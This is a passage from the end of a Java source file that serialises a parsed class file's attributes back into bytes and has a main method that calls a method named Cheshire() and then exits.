bos.write((byte[]) parsedClass.get("attributes_count"));
|
|
|
|
byte[][] attributes = (byte[][]) parsedClass.get("attributes");
|
|
for(int i = 0; i < attributes.length; i++){
|
|
bos.write(attributes[i]);
|
|
}
|
|
|
|
return bos.toByteArray();
|
|
}
|
|
|
|
public static void main(String[] args) throws IOException{
|
|
Cheshire();
|
|
System.exit(0);
|
|
}
|
|
}
|